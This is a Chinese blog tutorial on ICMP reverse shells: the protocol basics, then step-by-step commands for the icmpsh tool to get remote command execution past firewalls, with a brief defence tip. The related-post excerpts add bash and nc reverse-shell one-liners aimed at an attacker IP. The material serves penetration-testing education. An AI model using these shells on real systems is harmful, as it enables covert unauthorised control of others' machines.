icmp反弹shell 简介

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

目录

第一节 轶事

第二节 技术原理

第三节 ICMP反弹shell


 

第一节 轶事

首次听说icmp隧道,要从免费上网说起。当年的网费还是挺贵的,大学生上个网还是容易“破产”呀。当你的网费耗尽后,网管服务器就会拦截你的网络请求,但是只拦截了TCP和UDP协议,放过了ICMP协议,ping ip还是可以的,于是就开始琢磨利用icmp隧道将访问转发到自己的一台放置在公网中的代理,利用代理中转访问公网,实现免费上网。

当然现在使用ICMP隧道更多地是越过一些协议的限制,做一些渗透测试。

 

第二节 技术原理

使用ICMP协议最常见的就是ping工具,在ping www.baidu.com的时候可以看到,ICMP协议是典型的一问一答模式,本机向百度服务器发送ICMP请求包,如果请求包成功到达目的地,百度服务器则回应ICMP响应包。

ICMP(Internet Control Message Protocol)是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP报文以IP协议为基础,其报文格式如下:

如上图所示,ICMP协议在实际传输中数据包:20字节IP首部 + 8字节ICMP首部+ 1472字节<数据大小>38字节。对于ICMP首部细分为8位类型+8位代码+16位校验和+16位标识符+16位序列号,其中类型的取值如下,我们比较关注的是请求(取值为8)和应答(取值为0)。

最直观的做法是使用抓包工具看一下icmp包的内容,分别看一下windows和linux平台的ping发包,会有一些不同。

在win10上,ping www.baidu.com:

我比较关注的是icmp的数据区,这块区域较大,能干很多事情。win10 ping默认发送的数据是abcdefghijklmnopqrstuvwabcdefghi,共32bytes,而且ICMP响应包数据区的内容和它是一致的,这就是ping的特点,请求什么,响应什么。

而linux则不一样。先使用tcpdump -i eth0 icmp -w icmp.pcap抓包,将抓包文件使用wireshark打开分析发现,linux ping默认发送的数据大小是56bytes,前8个字节为时间戳,而剩下的48bytes相对比较复杂,每次的内容部分不一样,其中一样的是末尾的23bytes,内容为!”#$%&’()*+,-./01234567,那中间25bytes是什么内容呢?卖个关子,下一篇再讲,哈哈。

不禁要思考icmp的数据区只能这么大吗?当然不是,可以自定义的,例如通过给ping指定 -l 参数,就可以修改icmp包的大小。

从上面知道了ping包的结构,我们如果想通过ICMP协议传输数据,操作空间主要是在数据区中,而ping工具的做法是请求什么内容,就回复什么内容,所以设计反弹shell没办法用到ping工具,需要自己开发。

 

第三节 ICMP反弹shell

如果之前做过渗透测试的朋友,肯定知道反弹shell,ICMP反弹shell只不过是将通信协议换成了ICMP。其基本架构内容如下:

从架构图上,可以看到是传统的C/S结构,hacker在具有公网ip的VPS上启动server,在被控机器上启动client ,client主动连接server,从而实现通信。为什么是client主动连接server呢?因为被控机器一般是在内网中,没有公网ip。

有没有相应的开源项目呢?当然是有的,https://github.com/inquisb/icmpsh/,这个实现了一个简单icmp反弹shell,它其中的client叫做slave,server叫做master,都是一回事。

master端部署在我自己的VPS上,具有公网ip,首先关闭自身的icmp应答:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1 (开启置为0)

然后就可以启动icmp应答程序.

第一个参数是VPS的公网ip,第二个参数是被控机器的公网ip。被控机器的公网ip,是不是有点迷糊,严格说这个ip应该是server端看到的ip,为什么需要这个参数呢?主要是为了填充icmp包的ip地址。为了得到这个ip可以从内网终端ping这个vps,在vps用tcpdump -i eth0 icmp获取这个ip,然后填写。

先在VPS启动命令:

python icmpsh_m.py 源ip 目的ip

接着在被控端启动命令:

icmpsh.exe -t 目的ip

这样ICMP反弹shell就建立了,可以远程执行命令了。

那怎么防御ICMP反弹shell呢?其实特征已经很明显了,建立ping数据区报文的白名单,不在白名单之内的拦截即可,当然还要视抓取的数据来定,可能有业务使用了icmp协议。

 

 

 

隐藏通信隧道技术之icmpsh反弹shell(网络层ICMP隧道) 优势:不需要开放端口就能通信 常见ICMP的消息是ping命令,通过ping可以得到一些回复 如果HTTP,DNS正反向端口转发不行时候可以尝试ICMP隧道 建立基础:只要能ping通,可以将TCP/UDP数据封装到数据包中,然后利用ping的数据包来穿透防火墙。 实验环境: 1.虚拟机中进行 (kali作为外网机器,monowall1是分隔内外网的防火墙,win7,win2012是两台内网机器) 2.kali的ip:10.0.78.29 Monowall1的ip:1.1.1.1 Win7的ip:1.1. 阅读详情

相关推荐

利用ICMP反弹shell过程复现

一、概述通常,网络管理员会使用各种各样的防火墙,通过访问控制列表来限制网络访问,对渗透测试会造成非常大的困难,而为了来获得reverseshell,而ICMP就是解决这个问题的重点,icmpsh是一个简单的reverse ICMP shell,它分别用C(icmpsh-m.c)、Perl(icmpsh-m.pl)、Python(icmpsh_m.py)使win32.slave兼容原始POSIX。它比其它类似的开源工具的主要优点是,它并不需要管理员权限就能运行到目标机器上。

xxwn200301的博客 366

利用ICMP协议反弹shell

网络管理员通常使用各种各样的防火墙,以拦截各类渗透测试动作,如某防火墙允许已知的机器流量在端口和服务(入口过滤),并拥有强大的出口访问控制列表的设置。然而很多时候,为了方便运维管理,在各种安全策略中,ICMP协议通常是不会过滤的,通俗点说就是不会禁PING。ICMP(InternetControlMessageProtocol)Internet控制报文协议,是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。...

不忘初心,护天下安全! 1334

zabbix 测试shell_利用icmp协议反弹shell

介绍有时候,网络管理员使用各种各样的防火墙,对渗透测试是非常困难的,有种这样防火墙:一个允许已知的机器流量在端口和服务(入口过滤),并拥有强大的出口访问控制列表的设置。当你已经拥有一台机器内部网络或者DMZ的一部分。他并非通过TCP来获得reverse shell的,所以不考虑绑定shell。然而有关UDP,通常是一个DNS隧道或通过ICMP的渠道来获得一个reverse shell。而...

weixin_39636718的博客 631

内网隧道代理技术(二十五)之 ICMP隧道反弹SHELL

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性。把数据隐藏在ICMP数据包包头的data字段中,建立隐蔽通道,可以实现绕过防火墙和入侵检测系统的阻拦。

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 512

内网渗透之 ICMP(icmpsh) 协议反弹Shell

简介 最常见的ICMP消息为Ping命令的回复,通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包)。 常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。 这里使用 icmpsh跨平台工具,python版本 < python3。 实验环境 kali:192.168.95.128 windows7:192.168.9

The current road is different, love needs to distinguish between right and wrong 5231

通过ICMP协议反弹SHELL并执行命令

前言内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此攻击。推特上的大牛@Bernardo Damele已经将其导入到他...

Fly_鹏程万里 3857

利用icmpsh建立icmp隧道反弹shell

利用icmpsh建立icmp隧道反弹shell,安装pip2,安装impacket模块,raise ReadTimeoutError,Failed to build future

huayimy的博客 1035

ICMPSH的学习ICMP反弹shell

ICMP隧道 最常见的ping命令就是利用的ICMP协议,使用该协议反弹shell,两台机器不需要开放端口,ICMP隧道简单好用。 实验环境 Kali 192.168.10.144 win7 192.168.10.129 kali安装好icmpsh工具 root@kali:~# git clone https://github.com/inquisb/icmpsh.git 安装icmpsh的依赖包 root@kali:~# apt-get install python-impacket 执行之前最重要

来到了学渣的博客 1546

icmp实现shell反弹

#概述 1.创建原始套接字(icmp),分别为发送端和接收端,另外再起一个进程绑定一个端口进行tcp监听。 2.发送端向接收端发送icmp包后,接收端过滤icmp包后获得发送端发出的icmp包再解包和解密,当口令正确,解析icmp_data段的ip和port。 3.拿到ip和port后,创建一个tcp套接字去connect这个addr,连接成功后将stdin,stdout,stderr重定向到创建的套接字中,再execl反弹shell就完成了. 源码 发送端 #include <stdio.h&gt

qq_45833409的博客 389

icmp协议_利用ICMP(icmpsh)协议反弹Shell 渗透红队笔记

渗透攻击红队一个专注于红队攻击的公众号大家好,这里是渗透攻击红队的第 十篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),每周一更。ICMP隧道‍ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下...

weixin_39872257的博客 466

icmpsh之icmp反弹shell

一,技术原理 向ping www.baidu.com时,本机会先向百度的服务器发送ICMP请求包,如果请求成功了,则百度服务器会回应ICMP的响应包 引用百度百科: ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。 二,实验环境 攻击机

weixin_45729208的博客 477

2100 没有反弹shell_利用ICMP(icmpsh)协议反弹Shell 渗透红队笔记

渗透攻击红队一个专注于红队攻击的公众号大家好,这里是渗透攻击红队的第 十篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),每周一更。ICMP隧道‍ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下...

weixin_39692830的博客 125

shell 回车_利用icmpsh建立icmp隧道反弹shell

首先在kali上安装icmpsh软件,软件地址https://github.com/inquisb/icmpsh.git我们可以直接用git克隆过来git clone https://github.com/inquisb/icmpsh.git然后我们还需要来安装python-impacket类库以保证对TCP、UDP、ICMP等协议的访问pip2 install impacket接下来我们还需要关...

weixin_39517289的博客 74

msf反弹php shell,反弹shell总结

1.bash反弹bash -i >& /dev/tcp/ip_address/port 0>&12.nc反弹nc -e /bin/sh 192.168.2.130 44443.pythonimport socket,subprocess,oss =socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(( "1...

weixin_42502419的博客 651

反弹shell流量分析与检测

常用的隧道技术:网络层:ipv6、Icmp、greIPv6隧道:将ipv6报文放入ipv4作为载体进行传输,工具:socat、6tunnelICMP隧道:将数据放入ping包中进行传输,工具:icmpsh、PingTunnelGRE隧道传输层:TCP隧道、UDP隧道、常规的端口转发。端口转发:没有端口限制就正常的内网端口转发,有端口限制就本地端口转发 工具:lcx、nc、powercatSOCKS代理:SOCKS代理可以理解为增强版的lcx。

欢迎光临 1835

icmp回复报文_利用icmpsh建立icmp隧道反弹shell

首先在kali上安装icmpsh软件,软件地址https://github.com/inquisb/icmpsh.git我们可以直接用git克隆过来git clone https://github.com/inquisb/icmpsh.git然后我们还需要来安装python-impacket类库以保证对TCP、UDP、ICMP等协议的访问pip2 install impacket接下来我们还需要关...

weixin_36051235的博客 130
上一篇: linux openssl 反弹加密 shell
下一篇: 端口转发与代理工具 内网代理 内网反弹代理
whatday
博客等级 码龄20年 3670粉丝 96原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值